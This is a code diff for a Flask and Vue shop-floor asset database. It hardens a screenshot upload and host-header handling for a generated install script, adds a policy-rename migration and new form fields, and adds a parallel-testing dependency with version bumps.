# rollup have to agree on what counts as running, so the rule lives here once -
|
# would paint a service green and flag it as drift on the same page. Importing
|
||||||
# reading it wrong makes every service look stopped.
|
# api -> services is the direction the plugin layout already runs in; the
|
||||||
_RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active')
|
# reconciler's own import of this module is deferred, so there is no cycle.
|
||||||
|
from ..services.reconciler import RUNNING_STATES as _RUNNING_STATES
|
||||||
|
|
||||||
|
|
||||||
def _service_running(entry):
|
def _service_running(entry):
|
||||||
@@ -1781,6 +1782,13 @@ OPERATOR_REPORT_RETENTION_DEFAULT_DAYS = 7
|
|||||||
# Screenshots are small PNGs from a virtual-screen grab. Cap the upload so a
|
# Screenshots are small PNGs from a virtual-screen grab. Cap the upload so a
|
||||||
# malformed or hostile agent cannot fill the disk with one request.
|
# malformed or hostile agent cannot fill the disk with one request.
|
||||||
OPERATOR_REPORT_MAX_IMAGE_BYTES = 10 * 1024 * 1024
|
OPERATOR_REPORT_MAX_IMAGE_BYTES = 10 * 1024 * 1024
|
||||||
|
# The multipart envelope carries the other form fields and the part boundaries
|
||||||
|
# too, so content_length is legitimately larger than the image. Allow for that
|
||||||
|
# rather than rejecting a screenshot that is just under the cap.
|
||||||
|
_OPERATOR_REPORT_FORM_SLACK = 64 * 1024
|
||||||
|
# PNG signature. The route stores and serves the file as image/png, so this is
|
||||||
|
# the one thing it accepts.
|
||||||
|
_PNG_MAGIC = b'\x89PNG\r\n\x1a\n'
|
||||||
|
|
||||||
|
|
||||||
def _operator_report_dir():
|
def _operator_report_dir():
|
||||||
@@ -1837,13 +1845,26 @@ def upload_operator_report():
|
|||||||
holds only metadata plus the stored filename. One retention sweep runs
|
holds only metadata plus the stored filename. One retention sweep runs
|
||||||
opportunistically so the feed stays bounded.
|
opportunistically so the feed stays bounded.
|
||||||
"""
|
"""
|
||||||
from werkzeug.utils import secure_filename
|
|
||||||
import uuid
|
import uuid
|
||||||
|
|
||||||
error = _collector_auth_or_error()
|
error = _collector_auth_or_error()
|
||||||
if error is not None:
|
if error is not None:
|
||||||
return error
|
return error
|
||||||
|
|
||||||
|
# Refuse an oversized body BEFORE anything parses it. content_length is a
|
||||||
|
# header, so it is readable without touching the body; request.form is not
|
||||||
|
# - the first access to it makes werkzeug parse the whole multipart and
|
||||||
|
# spool the file part to a temp file. An earlier version of this check sat
|
||||||
|
# below that line and so ran after the thing it exists to prevent. The
|
||||||
|
# value is caller-supplied, which is why this is an early out and not the
|
||||||
|
# enforcement; the bounded read below is.
|
||||||
|
declared = request.content_length or 0
|
||||||
|
if declared > OPERATOR_REPORT_MAX_IMAGE_BYTES + _OPERATOR_REPORT_FORM_SLACK:
|
||||||
|
return error_response(
|
||||||
|
ErrorCodes.VALIDATION_ERROR,
|
||||||
|
'screenshot exceeds the {} byte limit'.format(
|
||||||
|
OPERATOR_REPORT_MAX_IMAGE_BYTES))
|
||||||
|
|
||||||
hostname = (request.form.get('hostname') or '').strip()
|
hostname = (request.form.get('hostname') or '').strip()
|
||||||
if not hostname:
|
if not hostname:
|
||||||
return error_response(ErrorCodes.VALIDATION_ERROR,
|
return error_response(ErrorCodes.VALIDATION_ERROR,
|
||||||
@@ -1864,17 +1885,24 @@ def upload_operator_report():
|
|||||||
|
|
||||||
upload = request.files.get('screenshot')
|
upload = request.files.get('screenshot')
|
||||||
if upload is not None and upload.filename:
|
if upload is not None and upload.filename:
|
||||||
data = upload.read()
|
# Read one byte past the cap: enough to know it was exceeded, without
|
||||||
|
# taking the whole of a body that lied about its length.
|
||||||
|
data = upload.read(OPERATOR_REPORT_MAX_IMAGE_BYTES + 1)
|
||||||
if len(data) > OPERATOR_REPORT_MAX_IMAGE_BYTES:
|
if len(data) > OPERATOR_REPORT_MAX_IMAGE_BYTES:
|
||||||
return error_response(
|
return error_response(
|
||||||
ErrorCodes.VALIDATION_ERROR,
|
ErrorCodes.VALIDATION_ERROR,
|
||||||
'screenshot exceeds the {} byte limit'.format(
|
'screenshot exceeds the {} byte limit'.format(
|
||||||
OPERATOR_REPORT_MAX_IMAGE_BYTES))
|
OPERATOR_REPORT_MAX_IMAGE_BYTES))
|
||||||
|
if data and not data.startswith(_PNG_MAGIC):
|
||||||
|
# The stored file is served back as image/png. Storing whatever
|
||||||
|
# arrived under that name meant the extension and the bytes could
|
||||||
|
# disagree; the upload headers make the document case inert, but
|
||||||
|
# nothing is gained by keeping a file we already know is not what it
|
||||||
|
# claims.
|
||||||
|
return error_response(ErrorCodes.VALIDATION_ERROR,
|
||||||
|
'screenshot must be a PNG')
|
||||||
if data:
|
if data:
|
||||||
ext = os.path.splitext(secure_filename(upload.filename))[1].lower()
|
imagefilename = 'report-{}.png'.format(uuid.uuid4().hex)
|
||||||
if ext != '.png':
|
|
||||||
ext = '.png'
|
|
||||||
imagefilename = 'report-{}{}'.format(uuid.uuid4().hex, ext)
|
|
||||||
imagemimetype = 'image/png'
|
imagemimetype = 'image/png'
|
||||||
imagebytesize = len(data)
|
imagebytesize = len(data)
|
||||||
report_dir = _operator_report_dir()
|
report_dir = _operator_report_dir()
|
||||||
|
|||||||
@@ -20,17 +20,27 @@ CRUD API refuses to edit or delete them):
|
|||||||
trying to START the process when a launch path is mapped - never something
|
trying to START the process when a launch path is mapped - never something
|
||||||
the product ships switched on for every endpoint.
|
the product ships switched on for every endpoint.
|
||||||
|
|
||||||
BusinessPolicy "RPCA Shopfloor App Monitors"
|
BusinessPolicy "Shopfloor App Monitors"
|
||||||
the site-level wrapper, carrying the Configuration Policy as its one item.
|
the site-level wrapper, carrying the Configuration Policy as its one item.
|
||||||
|
It was named for the originating plant when this arrived. A shipped row is
|
||||||
|
product-owned and every adopting site sees it, so the name cannot be one
|
||||||
|
site's designator (ADR-015). Migration 0010 renames it on installs that
|
||||||
|
already stamped this one.
|
||||||
|
|
||||||
Monitors are looked up by identity (kind, displayname), never by a hardcoded id,
|
Monitors are looked up by identity (kind, displayname), never by a hardcoded id,
|
||||||
so the bundle survives id drift across installs.
|
so the bundle survives id drift across installs.
|
||||||
|
|
||||||
Lives in the endpoints chain, after 0006, because the monitor rows it references
|
Lives in the endpoints chain, after 0006, because the monitor rows it references
|
||||||
are seeded there. The computers policy tables are created by the core baseline
|
are seeded there. The policy tables belong to the COMPUTERS plugin and are
|
||||||
before per-plugin chains run; this migration still guards on their presence and
|
created by its own post-cutover chain, not by the core baseline; endpoints
|
||||||
no-ops cleanly if they are absent, and is idempotent on the policy/business-policy
|
declares a hard dependency on computers, which is what orders the two.
|
||||||
names so re-running never duplicates the bundle.
|
|
||||||
|
It guards on those tables being present and no-ops if they are not, and it is
|
||||||
|
idempotent on the policy names so re-running never duplicates the bundle. Be
|
||||||
|
clear about what the guard costs, though: Alembic stamps the revision either
|
||||||
|
way, so if it ever no-ops the bundle is simply never seeded and nothing comes
|
||||||
|
back to finish the job. That is acceptable only because the dependency makes
|
||||||
|
the absent case unreachable in a supported install.
|
||||||
"""
|
"""
|
||||||
from alembic import op
|
from alembic import op
|
||||||
|
|
||||||
@@ -47,7 +57,7 @@ depends_on = None
|
|||||||
|
|
||||||
|
|
||||||
CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
|
CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
|
||||||
BUSINESS_POLICY_NAME = 'RPCA Shopfloor App Monitors'
|
BUSINESS_POLICY_NAME = 'Shopfloor App Monitors'
|
||||||
|
|
||||||
# The shipped monitors this bundle attaches, by identity (kind, displayname).
|
# The shipped monitors this bundle attaches, by identity (kind, displayname).
|
||||||
_SHIPPED_MONITORS = (
|
_SHIPPED_MONITORS = (
|
||||||
|
|||||||
@@ -0,0 +1,60 @@
|
|||||||
|
"""Rename the shipped business policy off one site's designator.
|
||||||
|
|
||||||
|
0007 seeded it as "RPCA Shopfloor App Monitors". RPCA is the originating
|
||||||
|
plant's facility designator, and the row is product-owned: source='shipped',
|
||||||
|
seeded into every install, and the CRUD API refuses to rename it. So every
|
||||||
|
adopting site would carry another plant's label at the top of its policy list
|
||||||
|
with no way to change it, which is exactly what ADR-015 exists to prevent.
|
||||||
|
|
||||||
|
0007 now seeds the neutral name, which covers a fresh install. This migration
|
||||||
|
covers the installs that already stamped 0007 with the old one - the
|
||||||
|
originating site, and anyone who upgraded before this landed.
|
||||||
|
|
||||||
|
Renames only when the old name is present AND the new one is not, so it is
|
||||||
|
idempotent and cannot collide with a site that already has a policy of its own
|
||||||
|
under the new name. Downgrade is deliberately one-way: putting another site's
|
||||||
|
designator back into a shipped row is not a state worth being able to reach.
|
||||||
|
|
||||||
|
Revision ID: endpoints0010renamepolicy
|
||||||
|
Revises: endpoints0009opreports
|
||||||
|
"""
|
||||||
|
from alembic import op
|
||||||
|
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
revision = 'endpoints0010renamepolicy'
|
||||||
|
down_revision = 'endpoints0009opreports'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
|
||||||
|
OLD_NAME = 'RPCA Shopfloor App Monitors'
|
||||||
|
NEW_NAME = 'Shopfloor App Monitors'
|
||||||
|
|
||||||
|
|
||||||
|
def _has_table(bind, name):
|
||||||
|
return sa.inspect(bind).has_table(name)
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
bind = op.get_bind()
|
||||||
|
# The policy tables belong to the computers plugin. Same guard as 0007: if
|
||||||
|
# they are not there, there is nothing seeded to rename.
|
||||||
|
if not _has_table(bind, 'businesspolicies'):
|
||||||
|
return
|
||||||
|
|
||||||
|
exists = bind.execute(
|
||||||
|
sa.text('SELECT COUNT(*) FROM businesspolicies WHERE name = :name'),
|
||||||
|
{'name': NEW_NAME}).scalar()
|
||||||
|
if exists:
|
||||||
|
return
|
||||||
|
|
||||||
|
bind.execute(
|
||||||
|
sa.text('UPDATE businesspolicies SET name = :new WHERE name = :old'),
|
||||||
|
{'new': NEW_NAME, 'old': OLD_NAME})
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
# One-way on purpose. See the module docstring.
|
||||||
|
pass
|
||||||
@@ -27,11 +27,16 @@ Two seams are kept deliberately narrow so this stays easy to change:
|
|||||||
can call it directly.
|
can call it directly.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
# The running-state vocabulary a watched process/service can report. Kept in
|
# The running-state vocabulary a watched process/service can report. A watched
|
||||||
# lockstep with plugins/endpoints/api/routes.py::_RUNNING_STATES so a service the
|
# service reports a STATE STRING, not a boolean, and the vocabulary varies by
|
||||||
# panel paints green is never flagged as drift here. Both read from the same
|
# source, so what counts as running is a single rule rather than two.
|
||||||
# agent snapshot; disagreeing would show a running app as out-of-desired-state.
|
#
|
||||||
_RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active')
|
# It lives here, and api/routes.py imports it, because the panel and this
|
||||||
|
# reconciler MUST agree: a service the panel paints green that this flags as
|
||||||
|
# drift is a contradiction shown to the same person on the same page. It was
|
||||||
|
# two copies with a comment asking a human to keep them in lockstep, which is
|
||||||
|
# not a mechanism.
|
||||||
|
RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active')
|
||||||
|
|
||||||
|
|
||||||
def monitor_expects_running(monitor):
|
def monitor_expects_running(monitor):
|
||||||
@@ -82,7 +87,7 @@ def _reported_running_keys(reported_services):
|
|||||||
else:
|
else:
|
||||||
name, raw, kind = str(entry), '', None
|
name, raw, kind = str(entry), '', None
|
||||||
name = name.strip().lower()
|
name = name.strip().lower()
|
||||||
if not name or raw not in _RUNNING_STATES:
|
if not name or raw not in RUNNING_STATES:
|
||||||
continue
|
continue
|
||||||
running.add((kind, name))
|
running.add((kind, name))
|
||||||
return running
|
return running
|
||||||
|
|||||||
@@ -336,6 +336,44 @@
|
|||||||
|
|
||||||
<!-- Notes Section -->
|
<!-- Notes Section -->
|
||||||
<h3 class="form-section-title">Notes</h3>
|
<h3 class="form-section-title">Notes</h3>
|
||||||
|
<!-- Maintenance. Shown on the detail page since it was added but never
|
||||||
|
editable, so a wrong date needed database access to correct. These
|
||||||
|
are the columns a measuring instrument's calibration dates map onto
|
||||||
|
when metrology moves to machines, which is the other reason they
|
||||||
|
have to be enterable. -->
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="lastmaintenancedate">Last Maintenance</label>
|
||||||
|
<input
|
||||||
|
id="lastmaintenancedate"
|
||||||
|
v-model="form.lastmaintenancedate"
|
||||||
|
type="date"
|
||||||
|
class="form-control"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="nextmaintenancedate">Next Maintenance</label>
|
||||||
|
<input
|
||||||
|
id="nextmaintenancedate"
|
||||||
|
v-model="form.nextmaintenancedate"
|
||||||
|
type="date"
|
||||||
|
class="form-control"
|
||||||
|
/>
|
||||||
|
<small class="muted">Set directly; it is not derived from the interval.</small>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="maintenanceintervaldays">Maintenance Interval (days)</label>
|
||||||
|
<input
|
||||||
|
id="maintenanceintervaldays"
|
||||||
|
v-model.number="form.maintenanceintervaldays"
|
||||||
|
type="number"
|
||||||
|
min="1"
|
||||||
|
class="form-control"
|
||||||
|
placeholder="e.g. 180"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<textarea
|
<textarea
|
||||||
id="notes"
|
id="notes"
|
||||||
@@ -420,6 +458,9 @@ const form = ref({
|
|||||||
businessunitid: '',
|
businessunitid: '',
|
||||||
requiresmanualconfig: false,
|
requiresmanualconfig: false,
|
||||||
islocationonly: false,
|
islocationonly: false,
|
||||||
|
lastmaintenancedate: '',
|
||||||
|
nextmaintenancedate: '',
|
||||||
|
maintenanceintervaldays: null,
|
||||||
notes: '',
|
notes: '',
|
||||||
mapx: null,
|
mapx: null,
|
||||||
mapy: null,
|
mapy: null,
|
||||||
@@ -613,6 +654,9 @@ onMounted(async () => {
|
|||||||
businessunitid: data.businessunitid || '',
|
businessunitid: data.businessunitid || '',
|
||||||
requiresmanualconfig: data.machine?.requiresmanualconfig || false,
|
requiresmanualconfig: data.machine?.requiresmanualconfig || false,
|
||||||
islocationonly: data.machine?.islocationonly || false,
|
islocationonly: data.machine?.islocationonly || false,
|
||||||
|
lastmaintenancedate: (data.machine?.lastmaintenancedate || '').slice(0, 10),
|
||||||
|
nextmaintenancedate: (data.machine?.nextmaintenancedate || '').slice(0, 10),
|
||||||
|
maintenanceintervaldays: data.machine?.maintenanceintervaldays ?? null,
|
||||||
notes: data.notes || '',
|
notes: data.notes || '',
|
||||||
mapx: data.mapx ?? null,
|
mapx: data.mapx ?? null,
|
||||||
mapy: data.mapy ?? null,
|
mapy: data.mapy ?? null,
|
||||||
@@ -714,6 +758,9 @@ async function saveMachine() {
|
|||||||
businessunitid: form.value.businessunitid || null,
|
businessunitid: form.value.businessunitid || null,
|
||||||
requiresmanualconfig: form.value.requiresmanualconfig,
|
requiresmanualconfig: form.value.requiresmanualconfig,
|
||||||
islocationonly: form.value.islocationonly,
|
islocationonly: form.value.islocationonly,
|
||||||
|
lastmaintenancedate: form.value.lastmaintenancedate || null,
|
||||||
|
nextmaintenancedate: form.value.nextmaintenancedate || null,
|
||||||
|
maintenanceintervaldays: form.value.maintenanceintervaldays || null,
|
||||||
notes: form.value.notes || null,
|
notes: form.value.notes || null,
|
||||||
mapx: form.value.mapx,
|
mapx: form.value.mapx,
|
||||||
mapy: form.value.mapy
|
mapy: form.value.mapy
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from flask import Blueprint, request, Response
|
from flask import Blueprint, request, Response, current_app
|
||||||
from flask_jwt_extended import jwt_required
|
from flask_jwt_extended import jwt_required
|
||||||
|
|
||||||
from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query
|
from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query
|
||||||
@@ -380,6 +380,24 @@ def printer_install_list():
|
|||||||
UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'})
|
UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'})
|
||||||
|
|
||||||
|
|
||||||
|
# A hostname and nothing else: letters, digits, dot, hyphen, optional :port.
|
||||||
|
# Anything outside this cannot reach the generated script, so the quote that
|
||||||
|
# would end the PowerShell literal never gets the chance.
|
||||||
|
_HOST_RE = re.compile(r'^[A-Za-z0-9.-]+(?::[0-9]{1,5})?$')
|
||||||
|
|
||||||
|
|
||||||
|
def _safe_host(value):
|
||||||
|
"""A request-supplied host, or None when it is not one.
|
||||||
|
|
||||||
|
The value reaches a single-quoted PowerShell -Uri literal in the generated
|
||||||
|
.bat, so it is validated rather than escaped: an allowlist of what a host
|
||||||
|
may contain is a smaller thing to get right than enumerating what a shell
|
||||||
|
does with the rest.
|
||||||
|
"""
|
||||||
|
host = (value or '').strip()
|
||||||
|
return host if host and _HOST_RE.match(host) else None
|
||||||
|
|
||||||
|
|
||||||
def _batch_base_url():
|
def _batch_base_url():
|
||||||
"""Base URL the generated .bat downloads installers from. Prefer the
|
"""Base URL the generated .bat downloads installers from. Prefer the
|
||||||
configured site_base_url (it already includes scheme + the /shopdb mount).
|
configured site_base_url (it already includes scheme + the /shopdb mount).
|
||||||
@@ -387,12 +405,34 @@ def _batch_base_url():
|
|||||||
Fallback matters: behind IIS the app sees http on a loopback port and its
|
Fallback matters: behind IIS the app sees http on a loopback port and its
|
||||||
url_root drops the mount, so a naive request.url_root yields a broken
|
url_root drops the mount, so a naive request.url_root yields a broken
|
||||||
http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the
|
http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the
|
||||||
mount (script_root) and force https instead."""
|
mount (script_root) and force https instead.
|
||||||
|
|
||||||
|
THE FALLBACK IS THE DEFAULT PATH, not an edge case: site_base_url ships
|
||||||
|
blank. So the host it uses is caller-supplied on every fresh install, and
|
||||||
|
it lands unescaped inside a single-quoted PowerShell literal. X-Forwarded-Host
|
||||||
|
is only believed when a proxy is actually declared (TRUSTED_PROXY_COUNT) -
|
||||||
|
the same rule shopdb/utils/clientip.py applies to X-Forwarded-For, which was
|
||||||
|
centralised for this exact reason and did not cover the Host variant. Either
|
||||||
|
way the value is validated as a hostname before it is interpolated, and a
|
||||||
|
request that supplies neither a usable forwarded host nor a usable Host gets
|
||||||
|
a relative base rather than a poisoned absolute one.
|
||||||
|
"""
|
||||||
base = (Setting.get('site_base_url') or '').strip().rstrip('/')
|
base = (Setting.get('site_base_url') or '').strip().rstrip('/')
|
||||||
if base:
|
if base:
|
||||||
return base
|
return base
|
||||||
host = request.headers.get('X-Forwarded-Host') or request.host
|
|
||||||
|
host = None
|
||||||
|
if current_app.config.get('TRUSTED_PROXY_COUNT'):
|
||||||
|
host = _safe_host(request.headers.get('X-Forwarded-Host'))
|
||||||
|
if not host:
|
||||||
|
host = _safe_host(request.host)
|
||||||
|
|
||||||
root = (request.script_root or '').rstrip('/')
|
root = (request.script_root or '').rstrip('/')
|
||||||
|
if not host:
|
||||||
|
# Same-origin relative URLs still download correctly from the browser
|
||||||
|
# that fetched the script. Better than emitting a host we cannot vouch
|
||||||
|
# for into a file that runs commands.
|
||||||
|
return root
|
||||||
return 'https://%s%s' % (host, root)
|
return 'https://%s%s' % (host, root)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -223,6 +223,28 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Capabilities. On the detail page since they were added but never
|
||||||
|
editable, so a wrong one needed database access to correct.
|
||||||
|
Nothing writes these automatically - the collector reports queues
|
||||||
|
and supplies, not capabilities - so a person is the only source. -->
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Capabilities</label>
|
||||||
|
<div class="capability-list">
|
||||||
|
<label class="capability-item">
|
||||||
|
<input type="checkbox" v-model="form.iscolor" />
|
||||||
|
<span>Colour</span>
|
||||||
|
</label>
|
||||||
|
<label class="capability-item">
|
||||||
|
<input type="checkbox" v-model="form.isduplex" />
|
||||||
|
<span>Duplex</span>
|
||||||
|
</label>
|
||||||
|
<label class="capability-item">
|
||||||
|
<input type="checkbox" v-model="form.isnetwork" />
|
||||||
|
<span>Network</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<label for="installpath">Driver Install Path</label>
|
<label for="installpath">Driver Install Path</label>
|
||||||
<input
|
<input
|
||||||
@@ -361,7 +383,12 @@ const form = ref({
|
|||||||
ipaddress: '',
|
ipaddress: '',
|
||||||
csfname: '',
|
csfname: '',
|
||||||
installpath: '',
|
installpath: '',
|
||||||
pin: ''
|
pin: '',
|
||||||
|
iscolor: false,
|
||||||
|
isduplex: false,
|
||||||
|
// true to match the create default in the API; most printers here are
|
||||||
|
// networked and a new record that claimed otherwise would be wrong.
|
||||||
|
isnetwork: true
|
||||||
})
|
})
|
||||||
|
|
||||||
const printerTypes = ref([])
|
const printerTypes = ref([])
|
||||||
@@ -559,6 +586,9 @@ onMounted(async () => {
|
|||||||
modelnumberid: ext.modelnumberid || '',
|
modelnumberid: ext.modelnumberid || '',
|
||||||
locationid: printer.locationid || '',
|
locationid: printer.locationid || '',
|
||||||
notes: printer.notes || '',
|
notes: printer.notes || '',
|
||||||
|
iscolor: !!printer.printer?.iscolor,
|
||||||
|
isduplex: !!printer.printer?.isduplex,
|
||||||
|
isnetwork: printer.printer?.isnetwork !== false,
|
||||||
mapx: printer.mapx ?? null,
|
mapx: printer.mapx ?? null,
|
||||||
mapy: printer.mapy ?? null,
|
mapy: printer.mapy ?? null,
|
||||||
levelid: printer.levelid ?? null,
|
levelid: printer.levelid ?? null,
|
||||||
@@ -652,6 +682,9 @@ async function savePrinter() {
|
|||||||
installpath: form.value.installpath || null,
|
installpath: form.value.installpath || null,
|
||||||
pin: form.value.pin || null,
|
pin: form.value.pin || null,
|
||||||
ipaddress: form.value.ipaddress || null,
|
ipaddress: form.value.ipaddress || null,
|
||||||
|
iscolor: !!form.value.iscolor,
|
||||||
|
isduplex: !!form.value.isduplex,
|
||||||
|
isnetwork: !!form.value.isnetwork,
|
||||||
mapx: form.value.mapx,
|
mapx: form.value.mapx,
|
||||||
mapy: form.value.mapy
|
mapy: form.value.mapy
|
||||||
}
|
}
|
||||||
@@ -688,6 +721,9 @@ async function savePrinter() {
|
|||||||
</script>
|
</script>
|
||||||
|
|
||||||
<style scoped>
|
<style scoped>
|
||||||
|
.capability-list { display: flex; flex-wrap: wrap; gap: 1rem; }
|
||||||
|
.capability-item { display: inline-flex; align-items: center; gap: 0.4rem; font-weight: normal; }
|
||||||
|
|
||||||
.map-location-control {
|
.map-location-control {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
|
|||||||
@@ -10,3 +10,10 @@
|
|||||||
pytest>=7.0
|
pytest>=7.0
|
||||||
pytest-flask>=1.2
|
pytest-flask>=1.2
|
||||||
pytest-cov>=4.0
|
pytest-cov>=4.0
|
||||||
|
# Parallel test execution. The suite is ~2300 tests whose cost is per-test
|
||||||
|
# fixture teardown (create_all/drop_all is ~0.06s each, ~40% of the wall clock)
|
||||||
|
# rather than any single slow test, so it parallelises almost linearly: 331s ->
|
||||||
|
# 103s on 8 cores, same 2309 passing. NOT in pytest.ini addopts - worker startup
|
||||||
|
# is dead weight on the targeted runs that make up most of a working day. Opt in
|
||||||
|
# with -n auto when running the whole suite.
|
||||||
|
pytest-xdist>=3.5
|
||||||
|
|||||||
@@ -1,9 +1,5 @@
|
|||||||
# This file was autogenerated by uv via the following command:
|
# This file was autogenerated by uv via the following command:
|
||||||
# uv pip compile requirements-dev.in -c requirements.txt --universal --generate-hashes -o requirements-dev.txt
|
# uv pip compile requirements-dev.in -c requirements.txt --universal --generate-hashes -o requirements-dev.txt
|
||||||
#
|
|
||||||
# The -c constraint pins every shared dependency to the SAME version production
|
|
||||||
# runs. Without it the two files were compiled at different times and drifted:
|
|
||||||
# CI tested against alembic 1.18.5 while sites installed 1.18.4.
|
|
||||||
alembic==1.18.4 \
|
alembic==1.18.4 \
|
||||||
--hash=sha256:a5ed4adcf6d8a4cb575f3d759f071b03cd6e5c7618eb796cb52497be25bfe19a \
|
--hash=sha256:a5ed4adcf6d8a4cb575f3d759f071b03cd6e5c7618eb796cb52497be25bfe19a \
|
||||||
--hash=sha256:cb6e1fd84b6174ab8dbb2329f86d631ba9559dd78df550b57804d607672cedbc
|
--hash=sha256:cb6e1fd84b6174ab8dbb2329f86d631ba9559dd78df550b57804d607672cedbc
|
||||||
@@ -434,6 +430,10 @@ email-validator==2.3.0 \
|
|||||||
# via
|
# via
|
||||||
# -c requirements.txt
|
# -c requirements.txt
|
||||||
# -r requirements.in
|
# -r requirements.in
|
||||||
|
execnet==2.1.2 \
|
||||||
|
--hash=sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd \
|
||||||
|
--hash=sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec
|
||||||
|
# via pytest-xdist
|
||||||
flask==3.1.3 \
|
flask==3.1.3 \
|
||||||
--hash=sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb \
|
--hash=sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb \
|
||||||
--hash=sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c
|
--hash=sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c
|
||||||
@@ -547,9 +547,9 @@ greenlet==3.5.0 ; platform_machine == 'AMD64' or platform_machine == 'WIN32' or
|
|||||||
# via
|
# via
|
||||||
# -c requirements.txt
|
# -c requirements.txt
|
||||||
# sqlalchemy
|
# sqlalchemy
|
||||||
idna==3.13 \
|
idna==3.19 \
|
||||||
--hash=sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242 \
|
--hash=sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15 \
|
||||||
--hash=sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3
|
--hash=sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4
|
||||||
# via
|
# via
|
||||||
# -c requirements.txt
|
# -c requirements.txt
|
||||||
# email-validator
|
# email-validator
|
||||||
@@ -715,10 +715,13 @@ mysql-connector-python==9.7.0 \
|
|||||||
# via
|
# via
|
||||||
# -c requirements.txt
|
# -c requirements.txt
|
||||||
# -r requirements.in
|
# -r requirements.in
|
||||||
packaging==26.2 \
|
packaging==26.3 \
|
||||||
--hash=sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e \
|
--hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \
|
||||||
--hash=sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661
|
--hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c
|
||||||
# via pytest
|
# via
|
||||||
|
# -c requirements.txt
|
||||||
|
# -r requirements.in
|
||||||
|
# pytest
|
||||||
pluggy==1.6.0 \
|
pluggy==1.6.0 \
|
||||||
--hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \
|
--hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \
|
||||||
--hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746
|
--hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746
|
||||||
@@ -735,9 +738,9 @@ pygments==2.20.0 \
|
|||||||
--hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \
|
--hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \
|
||||||
--hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176
|
--hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176
|
||||||
# via pytest
|
# via pytest
|
||||||
pyjwt==2.12.1 \
|
pyjwt==2.13.0 \
|
||||||
--hash=sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c \
|
--hash=sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423 \
|
||||||
--hash=sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b
|
--hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728
|
||||||
# via
|
# via
|
||||||
# -c requirements.txt
|
# -c requirements.txt
|
||||||
# flask-jwt-extended
|
# flask-jwt-extended
|
||||||
@@ -754,6 +757,7 @@ pytest==9.1.1 \
|
|||||||
# -r requirements-dev.in
|
# -r requirements-dev.in
|
||||||
# pytest-cov
|
# pytest-cov
|
||||||
# pytest-flask
|
# pytest-flask
|
||||||
|
# pytest-xdist
